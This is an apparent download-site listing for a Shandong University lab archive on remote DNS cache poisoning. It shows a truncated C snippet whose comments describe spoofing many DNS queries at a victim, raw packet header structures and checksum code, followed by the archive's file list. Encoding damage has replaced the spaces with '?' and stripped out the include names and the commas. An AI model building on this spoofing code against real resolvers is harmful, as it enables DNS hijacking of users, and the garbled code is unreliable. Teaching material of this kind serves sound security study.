資源簡介
遠(yuǎn)程DNS緩存攻擊,包括攻擊代碼

代碼片段和文件信息
//?----dns_request_demo.c------
//?This?sample?program?must?be?run?by?root?lol!
//?query
//?The?program?is?to?spoofing?tons?of?different?queries?to?the?victim.
//?Use?wireshark?to?study?the?packets.?However?it?is?not?enough?for
//?the?lab?please?finish?the?response?packet?and?complete?the?task.
//
//?Compile?command:
//?gcc?-lpcap?dns_request_demo.c?-o?dns_request_demo
//
//
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
//?The?packet?length
#define?PCKT_LEN?8192
#define?FLAG_R?0x8400
#define?FLAG_Q?0x0100
//?Can?create?separate?header?file?(.h)?for?all?headers‘?structure
//?The?IP?header‘s?structure
struct?ipheader
{
????unsigned?char??????iph_ihl:?4?iph_ver:?4;
????unsigned?char??????iph_tos;
????unsigned?short?int?iph_len;
????unsigned?short?int?iph_ident;
????//????unsigned?char??????iph_flag;
????unsigned?short?int?iph_offset;
????unsigned?char??????iph_ttl;
????unsigned?char??????iph_protocol;
????unsigned?short?int?iph_chksum;
????unsigned?int???????iph_sourceip;
????unsigned?int???????iph_destip;
};
//?UDP?header‘s?structure
struct?udpheader
{
????unsigned?short?int?udph_srcport;
????unsigned?short?int?udph_destport;
????unsigned?short?int?udph_len;
????unsigned?short?int?udph_chksum;
};
struct?dnsheader
{
????unsigned?short?int?query_id;
????unsigned?short?int?flags;
????unsigned?short?int?QDCOUNT;
????unsigned?short?int?ANCOUNT;
????unsigned?short?int?NSCOUNT;
????unsigned?short?int?ARCOUNT;
};
//?This?structure?just?for?convinience?in?the?DNS?packet?because?such?4?byte?data?often?appears.
struct?dataEnd
{
????unsigned?short?int??type;
????unsigned?short?int??class;
};
//?total?udp?header?length:?8?bytes?(=64?bits)
//?structure?to?hold?the?answer?end?section
struct?ansEnd
{
????//char*?name;
????unsigned?short?int?type;
????//char*?type;
????unsigned?short?int?class;
????//char*?class;
????//unsigned?int?ttl;
????unsigned?short?int?ttl_l;
????unsigned?short?int?ttl_h;
????unsigned?short?int?datalen;
};
//?structure?to?hold?the?authorative?nameserver?end?section
struct?nsEnd
{
????//char*?name;
????unsigned?short?int?type;
????unsigned?short?int?class;
????//unsigned?int?ttl;
????unsigned?short?int?ttl_l;
????unsigned?short?int?ttl_h;
????unsigned?short?int?datalen;
????//unsigned?int?ns;
};
unsigned?int?checksum(uint16_t?*usBuff?int?isize)
{
????unsigned?int?cksum?=?0;
????for(;?isize?>?1;?isize?-=?2)
????{
????????cksum?+=?*usBuff++;
????}
????if(isize?==?1)
????{
????????cksum?+=?*(uint16_t?*)usBuff;
????}
????return?(cksum);
}
//?calculate?udp?checksum
uint16_t?check_udp_sum(uint8_t?*buffer?int?len)
{
????unsigned?long?sum?=?0;
????struct?ipheader?*tempI?=?(struct?ipheader?*)(buffer);
????struct?udpheader?*tempH?=?(struct?udpheader?*)(buffer?+?sizeof(struct?ipheader));
????struct?dnsheader?*tempD?=?(struct?dnsheader?*)(buffer?+?s
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2016-12-07?17:07??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\Code\
?????文件?????????286??2016-12-07?00:56??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\Code\db.attacker
?????文件?????????217??2016-12-07?00:54??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\Code\example.com.db
?????文件???????18316??2016-12-07?11:12??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\Code\udp.c
?????文件?????2145650??2016-12-03?14:25??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\DNS_Remote.pdf
?????文件???????21914??2016-05-29?23:29??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\DNS_Remote_中文版.md
?????目錄???????????0??2016-12-07?17:10??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\
評論
共有 條評論